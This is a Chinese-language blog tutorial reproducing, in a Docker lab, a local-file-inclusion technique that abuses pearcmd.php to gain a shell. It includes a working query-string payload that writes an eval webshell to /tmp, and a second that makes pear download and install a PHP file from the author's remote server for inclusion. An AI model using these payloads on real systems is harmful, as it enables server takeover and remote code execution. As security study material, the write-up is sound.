利用pearcmd.php文件包含拿shell(LFI)
前言
最近看博客的时候遇到有师傅总结了一个新颖的文件包含思路,通过pearcmd.php来进行本地文件包含来拿shell,我感觉还挺有意思的,就花时间来学习了一下。
利用条件
1.安装了pear扩展(pear就是一个php扩展及应用的代码仓库,没有安装pear扩展的话就没有pear.php文件可以利用了)
2.知道pearcmd.php文件的路径(默认路径是/usr/local/lib/php/pearcmd.php)
3.开启了register_argc_argv选项(只有开启了,$_SERVER[‘argv’]才会生效。)
4.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。
复现
环境搭建
这次用docker来搭建一个lamp,因为docker的任意版本的镜像都会默认安装pear,更加省事。本次复现下载的是这样版本的镜像。
然后就是拉镜像搭建环境了。我们进入到容器里,在web目录下创建两个文件,创建一个1.php,也就是我们的一个漏洞包含点。
|
再创建一个2.php,用于测试使用。
|
原理
其实这不能算是一个漏洞,只能算作一个利用姿势。其主要原因就是开启了register_argc_argv这个选项。开启这个选项之后,url中?后面的内容都会传入$_SERVER[‘argv’]这个变量里。这里举三个例子。
传入一个aa=1。
传入一个aa=1&bb=1。
传入一个aa=1+bb=1。
通过这三张图很明显就明白&是无法分割参数的,真正能有效分割参数的是+号。另外等号无法复制,直接被作为键值传进去了。
pear是通过pearcmd.php来获取到参数的,看一下pear程序的代码:
#!/bin/sh |
这种sh程序我是看不太懂,大概就是最后一行在执行pear命令的时候会调用pearcmd.php文件。我们再看pearcmd.php的源码。
if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) { |
这里我们可以看到$argv是由readPHPArgv函数赋值,那么我们就继续跟进这个函数。
public static function readPHPArgv() |
先看$argv是否存在(这个变量储存在命令行模式下运行php脚本时传入的参数),如果不存在,就判断$_SERVER[‘argv’]这个变量,这个是我们可控的,那么这个函数返回值我们就可控。具体代码实现不需要知道,只要明白在文件包含的情况下,我们可以通过运用pear命令行工具并且控制其参数来为我们所用。
利用1(不出网)
我们可以通过pear来漏洞利用,先看看pear中能够利用的命令。
我们要利用的就是这个config-create命令,这个命令的主要作用就是将内容写入文件中,传入两个参数,第一个参数是要写的内容,第二个参数就是要写入文件的路径,很明显,这两个参数都是可控的,自然我们应该能想到可以写入一句话进去,然后进行包含getshell。
那么我们我们可以用pear来演示一下
pear config-create /XiLitter /tmp/teat.txt |
再看一下有没有被写入临时目录。
成功写进去了,那么就docker搭建环境来演示一下。
写入一句话木马的payload为:
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/test.php |
注意,我们正常抓包的时候<>和单引号会被url编码。
像这样,这样写进去是完全不行的,没有了php语法边界,写入的一句话木马就不会被当做php代码来执行,只能被当做文本存储,所以我们要修改掉。这个坑我踩了好久。
后台临时目录里已经写入了test.php。
然后包含它, 就可以进行RCE了。
看到test.php里的内容,/&file=/usr/local/lib/php/pearcmd.php&/=@eval($_POST['cmd']);?>/pear/php一块被写进去了,但是get参数file被正常解析了,也就是说我们成功包含了pearcmd.php才成功使用命令。
为什么payload前面要有+号
前面不填加号是不行的。看个例子。
第一个元素变成了空串。在这里应该能猜到第一个元素是不起作用的。 光猜也不行,继续看pearcmd.php的代码。
$argv = Console_Getopt::readPHPArgv(); |
看来这个array_shift函数就是罪魁祸首了。我们通过url传入的argv数组会剔除掉第一个元素,也就是第一个元素失效,用+来代替了。
利用2(出网)
我们可以在自己的vps上写一个php文件,通过pear下载到靶机的临时目录里,然后对该文件进行包含。这很好理解。我们写一个phpinfo()
使用的payload为
+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://xilitter.top/123.php |
查看后台123.php被写进去了。
那么进行包含,
那么这种情况下我们就可以在vps上写马,然后通过pear下载包含,进而getshell,具体步骤就不再演示。
结语
这个姿势在任何php版本下都能用。只要是满足前面提到的几个条件,(可以通过phpinfo查看信息)换言之,用docker开启的php环境,上面那些配置都是默认开启的,只要具有文件包含点,这种有趣的姿势就能派上用场。